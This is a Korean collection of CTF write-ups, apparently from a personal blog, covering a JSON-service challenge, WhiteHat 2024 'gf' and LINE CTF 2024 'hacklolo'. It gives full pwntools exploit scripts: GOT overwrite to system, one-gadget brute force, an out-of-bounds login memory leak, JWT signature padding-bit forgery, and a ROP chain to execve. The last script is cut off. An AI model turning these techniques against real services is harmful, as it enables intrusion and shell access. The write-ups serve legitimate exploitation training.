이후 admin/admin으로 create_session()을 호출하면 type이 '1'인 세션이 생성된다.

0x02. Exploit

이제 ROP만 수행하면 되겠다 싶었는데 애석하게도 인자를 설정할 가젯이 하나도 없었다.

➜  ROPgadget --binary=json | grep rdi
0x0000000000401406 : or dword ptr [rdi + 0x405108], edi ; jmp rax
0x0000000000401c76 : ror byte ptr [rdi], 0x85 ; retf

처음에는 update_memo()의 strncpy 종료 시점의 레지스터를 이용하려고 했으나, session->memo의 끝 부분을 가리키고 있어 /bin/sh 등의 인자를 넣어주는 것이 불가능해보였다.

system PLT가 괜히 있는 것은 아닐거라고 생각해서 update_memo()를 assembly로 살펴보았다.

.text:0000000000402140  endbr64
.text:0000000000402144  push    rbp
.text:0000000000402145  mov     rbp, rsp
.text:0000000000402148  sub     rsp, 10h
.text:000000000040214C  lea     rax, [rbp+buf]
.text:0000000000402150  mov     edx, 100h       ; nbytes
.text:0000000000402155  mov     rsi, rax        ; buf
.text:0000000000402158  mov     edi, 0          ; fd
.text:000000000040215D  call    _read
.text:0000000000402162  mov     rax, cs:session
.text:0000000000402169  mov     rax, [rax+20h]
.text:000000000040216D  lea     rcx, [rbp+buf]
.text:0000000000402171  mov     edx, 100h       ; n
.text:0000000000402176  mov     rsi, rcx        ; src
.text:0000000000402179  mov     rdi, rax        ; dest
.text:000000000040217C  call    _strncpy
.text:0000000000402181  nop
.text:0000000000402182  leave
.text:0000000000402183  retn

read의 인자인 rsi가 rbp를 통해 설정되는데, BOF를 통해 rbp는 얼마든지 컨트롤 할 수 있으므로 AAW도 가능한 상황이다.

여기에서 GOT overwrite를 생각했고, strncpy의 rdi가 session->memo로 설정되는 것을 이용하여 미리 /bin/sh를 넣어두면 쉘 실행이 가능할 것으로 판단했다.

    read_strncpy_gadget = 0x40214C
    payload = b"/bin/sh\n" * 2
    payload += p64(elf.got['strncpy'] + 0x10)   # rbp
    payload += p64(read_strncpy_gadget)         # ret
    update_memo(s, token, payload)

    sleep(0.5)
    payload = p64(0x4010a0)                     # system
    s.send(payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "json"
LIBRARY = "libc.so.6"
CONTAINER = "f0268ff749ca"

code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}

gs = f'''
b *update_memo
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_session(s, user, pw):
    json = f"{{method:CreateSession,user:{user},pass:{pw}}}"
    s.send(json.encode())
    return s.recvuntil(b"}\n")

def clear_session(s):
    json = f"{{method:ClearSession}}"
    s.send(json.encode())
    return

def create_user(s, token, user, pw, memo):
    json = f"{{token:{token},method:CreateUser,user:{user},pass:{pw},memo:{memo}}}"
    s.send(json.encode())
    return

def check_user(s, token):
    json = f"{{token:{token},method:CheckUser}}"
    s.send(json.encode())
    return s.recvuntil(b"}\n")

def update_memo(s, token, payload):
    json = f"{{token:{token},method:UpdateMemo}}"
    s.send(json.encode())
    pause()
    s.send(payload)
    return

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    token = create_session(s, "guest", "guest").split(b"token:")[1].split(b"}")[0].decode()
    log.info(f"guest token : {token}")

    create_user(s, token, "AAAA", "AAAA", "AAAA]\n[1|admin|admin|admin memo")

    clear_session(s)
    sleep(0.5)

    token = create_session(s, "admin", "admin").split(b"token:")[1].split(b"}")[0].decode()
    log.info(f"admin token : {token}")

    read_strncpy_gadget = 0x40214C
    payload = b"/bin/sh\n" * 2
    payload += p64(elf.got['strncpy'] + 0x10)   # rbp
    payload += p64(read_strncpy_gadget)         # ret
    update_memo(s, token, payload)

    sleep(0.5)
    payload = p64(0x4010a0)                     # system
    s.send(payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

WhiteHat Contest 2024 Quals - gf

2024-11-19T00:00:00+00:00

0x00. Introduction

[*] '/home/user/gf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

가젯 이리 저리 조합하다가 매몰되어버린 문제. 종료 20분 전에 알아버렸다…

0x01. Vulnerability

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char dest[16]; // [rsp+10h] [rbp-10h] BYREF

  setbuf_4011A5();
  read(0, &unk_404060, 0xBCuLL);
  memcpy(dest, &unk_404060, 0xBBuLL);
  return 1LL;
}

16바이트 dest에 0xbc만큼 입력을 받는 단순한 BOF 취약점이 발생한다.

0x02. Exploit

출력 함수는 커녕 ROP를 하기 위한 가젯이 하나도 없다. 그러다가 메모리를 보고 힌트를 얻었다.

gef➤  x/4gx $rsp + 0xb0
0x7fffffffed00: 0x0000000000000000      0x0000000000000000
0x7fffffffed10: 0x0000000000000000      0x00007ffff7000000

read()의 마지막 부분인 dest + 0xb8 근처를 보면 매우 수상하게 libc 주소의 일부가 있다.

하위 3바이트가 0x00으로 되어있는데, 딱 이 부분까지 쓸 수 있다.

gef➤  x/4gx $rsp + 0xb0
0x7fffffffed00: 0x4141414141414141      0x4141414141414141
0x7fffffffed10: 0x4141414141414141      0x00007ffff7434241

따라서 libc leak 없이 이 부분을 이용해서 예상되는 one shot 가젯 주소를 만들어두고 ASLR에 의해 확률적으로 해당 주소에 진짜 one shot 가젯이 로드되길 기대하는 방법이 있다.

main()에서 return을 할 때의 레지스터 값들은 다음과 같다.

$rax   : 0x1
$rbx   : 0x0
$rcx   : 0x0000000000404060  →  "AAAAAAAAAAAAAAAA\n"
$rdx   : 0xbb
$rsp   : 0x00007fffffffec98  →  0x0000000000000000
$rbp   : 0xa
$rsi   : 0x0000000000404060  →  "AAAAAAAAAAAAAAAA\n"
$rdi   : 0x00007fffffffec80  →  "AAAAAAAAAAAAAAAA\n"
$rip   : 0x0000000000401281  →   ret
$r8    : 0x00007ffff7fabf10  →  0x0000000000000004
$r9    : 0x00007ffff7fc9040  →  0xe5894855fa1e0ff3
$r10   : 0x00007ffff7fc3908  →  0x000d00120000000e
$r11   : 0x246
$r12   : 0x00007fffffffeda8  →  0x00007fffffffef5c  →  0x3d48544150006667 ("gf"?)
$r13   : 0x000000000040122a  →   endbr64
$r14   : 0x0000000000403dc0  →  0x0000000000401160  →   endbr64
$r15   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000000000000000

이 상태에서 one shot 가젯 조건을 맞춰줘야하는데 가젯만 몇 시간을 봤더니 바로 방법이 떠올랐다.

➜  one_gadget libc.so.6
...
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
...

One shot 가젯 중 위와 같이 rsi, rdx에 조건이 걸려있는 가젯이 있었고 바이너리에 있는 가젯중 다음과 같은 것들이 있다.

➜  objdump -M intel -d gf
...
# shift_rsi_ret gadget
  40112c:       48 89 f0                mov    rax,rsi
  40112f:       48 c1 ee 3f             shr    rsi,0x3f
  401133:       48 c1 f8 03             sar    rax,0x3
  401137:       48 01 c6                add    rsi,rax
  40113a:       48 d1 fe                sar    rsi,1
  40113d:       74 11                   je     401150 <setvbuf@plt+0xb0>
  40113f:       b8 00 00 00 00          mov    eax,0x0
  401144:       48 85 c0                test   rax,rax
  401147:       74 07                   je     401150 <setvbuf@plt+0xb0>
  401149:       bf 10 40 40 00          mov    edi,0x404010
  40114e:       ff e0                   jmp    rax
  401150:       c3                      ret
...
# pop_rsi_pop_rdx_push_rsi_ret gadget
  40119e:       5e                      pop    rsi
  40119f:       5a                      pop    rdx
  4011a0:       56                      push   rsi
  4011a1:       c3                      ret

우선 rdx는 pop_rsi_pop_rdx_push_rsi_ret 가젯을 통해 컨트롤이 가능하고 어떤 의도인지는 모르겠으나 shift_rsi_ret 가젯을 통해 rsi를 0.5바이트씩 right shift 할 수 있다. rsi에는 0x404060가 저장되어있으므로 shift_rsi_ret 가젯을 6번 호출하면 rsi를 0으로 만들 수 있다.

추가로 rbp-0x78가 writable 해야하는 조건이 있는데 대충 Data 영역의 중간인 0x404800으로 설정해주었다.

확률을 계산해보면 0x7ffff7XXXc88가 실제로 one shot 가젯의 주소여야하므로 1.5바이트, 즉 1/4096 확률로 exploit이 성공한다.

그런데 예선이 끝나고 다른 분의 exploit을 보니 100% exploit에 성공할 수 있는 방법이 있었다. 몰랐던 내용이기도 하고 일반적으로 사용할 수 있을 것 같아서 따로 포스팅하겠다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "gf"
LIBRARY = "libc.so.6"
CONTAINER = "5189692c7e21"
bp = {
    'main_ret' : 0x401281,
}

gs = f'''
b *{bp["main_ret"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        # s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    shift_rsi_ret = 0x40112c
    pop_rsi_pop_rdx_push_rsi_ret = 0x40119e

    payload = b"A" * 0x10
    payload += p64(0x404800)
    payload += p64(pop_rsi_pop_rdx_push_rsi_ret)
    payload += p64(shift_rsi_ret)
    payload += p64(0)
    payload += p64(shift_rsi_ret) * 5
    payload += p64(bp['main_ret']) * ((0xb8 - len(payload)) // 8)
    payload += b"\x88\xac\x4b"      # 0x754c18 4b ac 88

    while 1:
        s = remote(server, port)
        s.sendline(payload)
        try:
            sleep(0.2)
            s.sendline(b"id")
            r = s.recvline(timeout=1)
            if b"(pwn)" in r:
                log.success(f"id : {r}")
                s.interactive()
                s.close()
            else:
                log.info(r)
        except Exception as e:
            log.failure(e)
            s.close()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

LINE CTF 2024 - hacklolo

2024-10-18T00:00:00+00:00

0x00. Introduction

[*] '/home/user/hacklolo'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

C++로 만들어진 바이너리로 분석하는데에 상당히 까다로웠다.

Structure

struct user_db // sizeof=0xD68
{
    struct user user_list[32];
    user *user_list_ptr;
    _QWORD count;
    _QWORD login_try;
    _QWORD is_login;
    char *welcome_ptr;
    _QWORD welcome_size;
    char welcome[8];
    _QWORD canary;
    user *current_user;
    _QWORD login_success;
    char *jwt_key;
    _QWORD jwt_key_size;
    _QWORD jwt_key_end;
};
struct user // sizeof=0x68
{
    char *pw_ptr;
    _QWORD pw_size;
    char pw[8];         // or could be nothing
    _QWORD end_pw;
    char *id_ptr;
    _QWORD id_size;
    char id[8];         // or could be nothing
    _QWORD end_id;
    char *email_ptr;
    _QWORD email_size;
    char email[8];      // or could be nothing
    _QWORD end_email;
    _QWORD age;
};

C++에서 basic_string 객체가 가지는 특성 때문인지 문자열을 그냥 저장하지 않고 id를 예를 들면 다음과 같이 저장한다.

id_ptr : 문자열이 저장된 주소
id_size : 문자열의 길이
id[8] : 길이 8까지의 문자열은 여기에 저장하고 더 긴 문자열은 다른 영역을 할당받아 저장
id_end : 쓰이지 않는 영역으로 chunk 관련 데이터로 추정

0x01. Vulnerability

Improper Check

__int64 __fastcall login_790E(user_db *user_db)
{
  ...
  for ( i = 0; i <= 32; ++i )
  {
    a2_20_23596(id, &user_db->user_list[i]);
    id_same = strncmp_1043E(id, id_input);
    std::string::~string(id);
    if ( id_same )
    {
      a2_0_235C8(pw, &user_db->user_list[i]);
      pw_same = strncmp_1043E(pw, pw_input);
      std::string::~string(pw);
      if ( pw_same )
      {
        user_db->current_user = &user_db->user_list[i];
        a2_20_23596(v15, &user_db->user_list[i]);
        sub_F7F3(id, "[*] Login Success. Hello, ", v15);
        ...
      }
    }
  }
  ...
}

used_db에는 총 32개의 user를 저장할 수 있는 공간이 있는데 login_790E()에서 user를 확인하는 범위는 33개이다. 때문에 user_list[32] 이후 영역이 또 하나의 user로 인식되며 다음과 같이 영역이 겹쳐진다.

after `user_list`	`user`
user *user_list_ptr	char *pw_ptr
_QWORD count	_QWORD pw_size
_QWORD login_try	char pw[8]
_QWORD is_login	_QWORD end_pw
char *welcome_ptr	char *id_ptr
_QWORD welcome_size	_QWORD id_size
char welcome[8]	char id[8]
_QWORD canary	_QWORD end_id
user *current_user	char *email_ptr
_QWORD login_success	_QWORD email_size
char *jwt_key	char email[8]
_QWORD jwt_key_size	_QWORD end_email
_QWORD jwt_key_end

따라서 바이너리 실행 시 출력되는 "Welcome!"이 id인 계정으로 로그인이 가능하다.

JWT Counterfeit

join시 생성되는 coupon은 HS256으로 생성한 JWT 값으로, siganture 부분은 HMAC-SHA256을 이용해 생성된다. 이 때 출력값이 256비트(32바이트)이고 이 값을 base64URL으로 인코딩한다. 인코딩 과정에서 base64가 3바이트 단위로 인코딩을 하므로 padding(=)이 붙게 된다.

그런데 사실 = 뿐만 아니라 마지막 바이트의 마지막 두 비트까지 00으로 padding이 붙는다. 따라서 디코딩 과정에서 마지막 바이트의 마지막 두 비트는 원본 데이터에 영향을 미치지 못한다.

바꿔 말하면 마지막 바이트의 마지막 두 비트에 00, 01, 10, 11 넷 중 아무거나 들어가도 같은 값으로 디코딩된다. 디코딩 값이 같다면 coupon 값에서 한 비트씩 값을 증가시켜도 서명 검증을 통과하기 때문에 여러번 coupon을 등록하는 것이 가능하다.

JWS의 구현 상 발생하는 문제로 어떻게 써먹을 수 있을진 모르겠지만 다른 곳에서도 사용할 수 있을 것 같다.

0x02. Exploit

Memory Leak

user_db->user_list[32] 이후의 영역(Welcome! 계정)의 메모리는 다음과 같다.

# Welcome!
gef➤  x/13gx $rbp-0xa0
0x7fffffffec60: 0x00007fffffffdf60      0x0000000000000001
0x7fffffffec70: 0x0000000000000000      0x0000000000000000
0x7fffffffec80: 0x00007fffffffec90      0x0000000000000008
0x7fffffffec90: 0x21656d6f636c6557      0xc8647733c17b4d00
0x7fffffffeca0: 0x00007ffff77d7ce0      0x0000000000000000
0x7fffffffecb0: 0x00005555555a5f80      0x0000000000000020
0x7fffffffecc0: 0x000000000000003c

pw_ptr를 의미하는 영역에는 user_list의 시작 주소인 0x7fffffffdf60가 담겨있고, pw_size를 의미하는 영역에는 계정의 개수를 의미하는 count가 담겨있다.

현재 count는 main() 초반부에 호출되는 setup_admin_7D3A()에서 admin 계정을 추가하면서 1이 되어있다. 따라서 Welcome! 계정의 비밀번호는 0x7fffffffdf60에 저장된 1바이트이다.

이를 이용해 user를 늘려가며 1바이트씩 비밀번호를 brute forcing하여 memory leak이 가능하다.

# admin
gef➤  x/13gx $rbp-0xda0
0x7fffffffdf60: 0x00007fffffffdf70      0x0000000000000008
0x7fffffffdf70: 0x6e374f7175585a68      0x0000000000000300
0x7fffffffdf80: 0x00007fffffffdf90      0x0000000000000005
0x7fffffffdf90: 0x0000006e696d6461      0x00000000001e3e30
0x7fffffffdfa0: 0x00005555555a5ed0      0x0000000000000012
0x7fffffffdfb0: 0x000000000000001e      0x000000000000001c
0x7fffffffdfc0: 0x0000000000000022

0x7fffffffdf60은 다시 말하면 user_list[0]이고 최초의 계정인 admin의 정보가 저장되어있다. count는 최대 32까지 증가시킬 수 있으므로 최대 32바이트까지 leak이 가능하지만, 마지막 8바이트는 basic_string의 기타 데이터이므로 총 26바이트만 leak을 시도했다.

이를 통해 stack 주소와 admin의 pw를 획득할 수 있다.

def memory_leak(s):
    hit = bytes()
    for i in range(0x1a):
        for j in range(0x100):
            if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
                continue
            r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
            if b"Login Success" in r:
                hit += j.to_bytes(1, 'little')
                sys.stdout.write(f"\rhit : {hit}")
                sys.stdout.flush()
                break
        logout(s)
        it = str(i + 1).encode()
        join(s, it, it, it, i + 1)
    sys.stdout.write(f"\n")
    return hit

\t, \n 등을 의미하는 값들은 입출력상 leak이 불가능하지만 자주 발생하는 문제는 아닌 것 같다.

Win Game

로그인을 하면 Play Game, Apply Coupon, Coupon usage history, Change PW, Print Information중 하나를 할 수 있다.

이 중 Change PW와 Print Information은 Play Game에서 보스를 쓰러뜨리고 regular member가 되어야 사용할 수 있는 메뉴이다.

문제를 풀 때는 다음 단계로 넘어가기 위해 일단 게임을 깼는데 지금처럼 먼저 exploit 시나리오를 세워서 목적을 가지고 진행하는 습관을 들여야겠다.

OOB 취약점을 이용해서 Welcome! 계정으로 게임을 깨고 Change PW를 호출하면 pw_ptr이 가리키는 곳의 값을 변경할 수 있다. Welcome!->pw_ptr은 admin->pw_ptr이 저장된 주소를 가리키고 있으므로, admin->pw_ptr을 원하는 주소로 바꿔놓고 admin으로 로그인해서 다시 Change PW를 호출하면 앞서 설정한 원하는 주소에 데이터를 쓸 수 있는 AAW를 획득할 수 있다.

다만 완전히 AAW는 아닌 것이 admin->pw_ptr을 바꾸는 순간 admin으로 로그인을 하기 위해 필요한 비밀번호가 바뀐다. 따라서 데이터를 쓸 주소에 저장된 값을 알고 있어야 하는데, 지금 생각해보니 Welcome!의 비밀번호를 바꿀 때 admin->pw_size까지 1로 바꿔서 brute forcing을 해도 괜찮을 것 같다.

아무튼 게임은 나를 따라오는 Enemy를 피해 Item을 획득해서 Attack과 Defense를 올린 뒤 Enemy와 싸워야 하는데 Item을 다 먹어도 Enemy를 이길 수 없다.

이 때 가입 시 발급되는 coupon을 이용하면 Attack이 두 배가 되므로 JWT counterfeit 취약점을 이용해 총 네개의 coupon을 이용하면 Enemy를 이길 수 있다.

문제는 상술한 AAW를 얻기 위해 Welcome! 계정이 regular member가 되어야하는데 Welcome! 계정은 가입된 계정이 아니다보니 발급된 coupon이 없다.

__int64 __fastcall join_8A4A(user_db *user_db)
{
  ...
  if ( user_db->count <= 31 )
  {
    ...
      for ( i = 0; i < user_db->count; ++i )
      {
        a2_20_23596(id_i, &user_db->user_list[i]);
        id_same = strncmp_1043E(id_i, id);
        std::string::~string(id_i);
        if ( id_same )
        {
          std::operator<<<std::char_traits<char>>(&std::cout, "[*] The ID already exists.\r");
          std::ostream::operator<<();
          result = -1;
          goto LABEL_13;
        }
      }
    ...
  }
}

다행히 join_8A4A()을 보면 id가 중복되었는지를 user_list를 count까지만 돌면서 확인하기 때문에 Welcome!이라는 계정을 생성할 수 있다. 또한 login_790E()에서도 id만 맞고 pw가 다를 경우 그냥 다음 루프로 넘어가기 때문에 가입 이후에도 33번째 Welcome! 계정에 로그인이 가능하다.

마지막은 생성한 Welcome! 계정의 coupon을 33번째 Welcome! 계정이 사용할 수 있는가인데 디버거에서 secret key를 확인해 jwt.io에서 내용을 확인한 결과 다음과 같이 userid가 같기 때문에 33번째 Welcome! 계정에서 coupon을 사용할 수 있었다.

따라서 다음과 같이 payload를 작성했다.

    # join fake "Welcome!"
    r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
    coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
    log.info(f"coupon : {coupon}")
    login(s, b"Welcome!", ml + b"\x00\x00")

    # counterfeit coupon
    if not apply_coupon_quadra(s, coupon):
        log.failure(f"bad coupon :(")
        exit()

이제 게임을 깨야하는데 차후 디버깅을 위해서라도 자동화를 하려고 했는데… 여기에서 ANSI escape code를 사용한 입출력때문에 엄청 오래걸렸다.

결과적으로는 pyte라는 라이브러리를 사용해서 map 정보를 파싱해왔고, Item을 먹는 알고리즘은 좋은게 떠오르지 않아 다음과 같은 단순한 방식을 사용했다.

확률을 높이기 위해 Enemy와 한 칸 차이가 되도록 위로 이동
맨 왼쪽 아래으로 이동 - (0, 0)
맨 왼쪽 위으로 이동 - (0, 16)
Item이 있는 column으로 이동 - (n, 16)
맨 아래로 이동 - (n, 0)
Item을 다 먹었으면 7번, 남았으면 2번
Enemy와 전투

이유는 모르겠는데 (0, 16)에 가면 높은 확률로 Enemy와 두 칸 차이가 나게 되어 Item의 column을 보고 너무 가까운 곳에 있으면 그냥 게임을 재시작하는게 빨라 해당 코드를 추가했다.

Libc Leak

상술한 방법으로 AAW를 얻는다 쳐도 RIP를 어디로 control할 지가 문제이다. 따라서 libc leak이 필요하다고 판단했고, 출력부를 확인해보니 Print Information이 있었다. 여기에서 email을 출력해주는데 email_size가 Welcome!->login_success 영역과 겹친다.

따라서 로그인을 성공시켜 login_success 값을 늘리면 memory leak이 가능할 것으로 판단했다.

주의할 것은 C++이라서 그런지 사용하는 라이브러리가 많아 glibc 영역을 잘 찾아 가져와야한다.

    logout(s)
    for _ in range(0xa0):
        login(s, b"Welcome!", b"Welcome@")
        logout(s)
    login(s, b"Welcome!", ml + b"\x00\x00")
    r = print_info(s)
    libc = u64(r[0xcc:0xd4])
    lib.address = libc - 0x29d90
    log.info(f"libc : {hex(lib.address)}")

RIP Control

이제 stack 주소를 알고있으니 main()의 return address를 덮어서 ROP 가젯들을 실행한 뒤 execve를 실행하게끔 payload를 작성했다.

다만 main() 종료 직전에 호출되는 free_db_24FBA()에서 각 user 정보들을 저장한 객체들을 해제하기 때문에 AAW를 위해 바꿔둔 admin->pw_ptr을 원복시켜야 한다.

__int64 __fastcall free_db_24FBA(__int64 user_db)
{
  ...
  if ( user_db )
  {
    for ( i = user_db + 0xD00; ; free_strings_F406(i) )
    {
      result = user_db;
      if ( i == user_db )
        break;
      i -= 0x68LL;
    }
  }
  return result;
}

따라서 다음과 같이 paylaod를 작성했다.

    # change admin->pw to point return address of main
    ret = stack + 0xd98
    change_pw(s, p64(ret) + p64(0x8))
    
    # overwrite return address
    logout(s)
    pop_rdi_ret = lib.address + 0x2a3e5
    pop_rsi_ret = lib.address + 0x2be51
    pop_rdx_rbx_ret = lib.address + 0x904a9
    payload = p64(pop_rdi_ret)
    payload += p64(next(lib.search(b"/bin/sh")))
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_rbx_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(lib.symbols["execve"])
    login(s, b"admin", p64(libc))
    change_pw(s, payload)

    # restore admin->pw
    logout(s)
    login(s, b"Welcome!", p64(ret) + p64(len(payload)))
    change_pw(s, p64(stack) + p64(0x8))

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser
import sys
import pyte

BINARY = "game"
LIBRARY = "libc.so.6"
CONTAINER = "7e8bfb970414"

def join(s, id, pw, email, age):
    s.sendline(b"1")
    s.sendlineafter(b"Id:\r\n", id)
    s.sendlineafter(b"Pw:\r\n", pw)
    s.sendlineafter(b"Email:\r\n", email)
    s.sendlineafter(b"Age:\r\n", str(age).encode())
    return s.recvuntil(b"Choice : \r\n")

def login(s, id, pw):
    s.sendline(b"2")
    s.sendlineafter(b"id:\r\n", id)
    s.sendlineafter(b"pw:\r\n", pw)
    return s.recvuntil(b"Choice : \r\n")

def quit_(s):
    s.sendline(b"3")
    return s.recvuntil(b"quit\r\n")

def logout(s):
    return s.sendlinethen(b"Choice : \r\n", b"1")

def play_game(s):
    s.sendline(b"2")

def apply_coupon(s, coupon):
    s.sendline(b"3")
    s.sendlineafter(b"coupon : \r\n", coupon)
    r = s.recvuntil(b"Choice : \r\n")
    if r.find(b"successfully") > -1:
        log.success(f"coupon use success")
        return True
    else:
        log.failure(f"something wrong with {coupon}")
        return False

def usage_history(s):
    s.sendline(b"4")
    return s.recvuntil(b"Choice : \r\n")

def change_pw(s, pw):
    s.sendline(b"5")
    s.sendlineafter(b"PW? : \r\n", b"y")
    s.sendlineafter(b"PW : \r\n", pw)
    return s.recvuntil(b"Choice : \r\n")

def print_info(s):
    s.sendline(b"6")
    return s.recvuntil(b"Choice : \r\n")

def memory_leak(s):
    hit = bytes()
    for i in range(0x1a):
        for j in range(0x100):
            if j in [0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x20]:
                continue
            r = login(s, b"Welcome!", hit + j.to_bytes(1, 'little'))
            if b"Login Success" in r:
                hit += j.to_bytes(1, 'little')
                sys.stdout.write(f"\rhit : {hit}")
                sys.stdout.flush()
                break
        logout(s)
        it = str(i + 1).encode()
        join(s, it, it, it, i + 1)
    sys.stdout.write(f"\n")
    return hit

def apply_coupon_quadra(s, coupon):
    apply_coupon(s, coupon)
    coupon_dup = coupon[:-1] + chr(coupon[-1] + 1).encode()
    apply_coupon(s, coupon_dup)
    coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
    apply_coupon(s, coupon_dup)
    coupon_dup = coupon_dup[:-1] + chr(coupon_dup[-1] + 1).encode()
    r = apply_coupon(s, coupon_dup)
    return r

def parse_map(data, p=0):
    # 터미널 크기 설정 (24행, 80열 등으로 설정)
    screen = pyte.Screen(80, 24)
    stream = pyte.Stream(screen)

    stream.feed(data.decode('utf-8'))

    # 화면 출력 파싱 후 'I', 'O', 'E' 위치 찾기
    positions = {'I': [], 'O': [], 'E': []}
    for row_num, row in enumerate(screen.display, start=1):
        if row_num < 4:
            continue
        for col_num, char in enumerate(row, start=1):
            if char in positions:
                positions[char].append((row_num, col_num))
    
    if p == 1:
        for line in screen.display:
            print(line)
        print(positions)
    return positions

def move(s, direction):
    for d in direction:
        s.send(d.encode())
        s.recvuntil(b"||")
        try:
            r = s.recvuntil(b"||", timeout=3)
        except TimeoutError:
            log.failure(f"game lost :(")
            exit()
    return r

def win_game(s):
    while 1:
        s.sendline(b"2")
        r = s.recvuntil(b"||")
        positions = parse_map(r)
        item_col = sorted(set([item[1] for item in positions['I']]))
        log.info(f"items located in col {item_col}")

        # die if too close
        die = 0
        if item_col[0] < 10:
            log.info("I would rather kill myself...")
            die = 1
            while r := move(s, 'f'):
                if b"Game Over!" in r:
                    s.send(b"\n")
                    break
        if die:
            continue
        
        # go to 0, 0
        direction = 'w' * 6
        direction += 's' * 8
        direction += 'a' * 30
        r = move(s, direction)
        parse_map(r)

        # farm items
        for c in item_col:
            log.info(f"farming item in col {c}")
            direction = 'w' * 16
            direction += 'd' * (c - 2)
            direction += 's' * 16
            direction += 'a' * (c - 2)
            r = move(s, direction)
            parse_map(r)
            
        # fight!
        while r := move(s, 'f'):
            if b"Game Over!" in r:
                s.send(b"\n")
                return s.recvuntil(b" : \r\n")

code_base = 0x555555554000
bp = {
    'login_switch_main' : code_base + 0x24145,
    'join' : code_base + 0x8A4A,
    'free_join' : code_base + 0x8F44,
    'login' : code_base + 0x23FFE,
    'after_login' : code_base + 0x240D2,
    'ret_main' : code_base + 0x24A1D,
}

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    s.recvuntil(b"Choice : \r\n").decode()
    
    # memory leak using OOB
    ml = memory_leak(s)
    stack = u64(ml[0:8])
    admin_pw = ml[0x10:0x18]
    log.info(f"stack : {hex(stack)}")
    log.info(f"admin pw : {admin_pw.decode()}")

    # join fake "Welcome!"
    r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
    coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
    log.info(f"coupon : {coupon}")
    login(s, b"Welcome!", ml + b"\x00\x00")

    # counterfeit coupon
    if not apply_coupon_quadra(s, coupon):
        log.failure(f"bad coupon :(")
        exit()

    # win game to be regular member
    if b"regular member" not in win_game(s):
        log.failure(f"game lost :(")
        exit()
    log.success(f"game win!")
    s.sendlinethen(b"Choice : \r\n", b'y')

    # libc leak by increasing login_success(email_size)
    logout(s)
    for _ in range(0xa0):
        login(s, b"Welcome!", b"Welcome@")
        logout(s)
    login(s, b"Welcome!", ml + b"\x00\x00")
    r = print_info(s)
    libc = u64(r[0xcc:0xd4])
    lib.address = libc - 0x29d90
    log.info(f"libc : {hex(lib.address)}")

    # change admin->pw to point return address of main
    ret = stack + 0xd98
    change_pw(s, p64(ret) + p64(0x8))
    
    # overwrite return address
    logout(s)
    pop_rdi_ret = lib.address + 0x2a3e5
    pop_rsi_ret = lib.address + 0x2be51
    pop_rdx_rbx_ret = lib.address + 0x904a9
    payload = p64(pop_rdi_ret)
    payload += p64(next(lib.search(b"/bin/sh")))
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_rbx_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(lib.symbols["execve"])
    login(s, b"admin", p64(libc))
    change_pw(s, payload)

    # restore admin->pw
    logout(s)
    login(s, b"Welcome!", p64(ret) + p64(len(payload)))
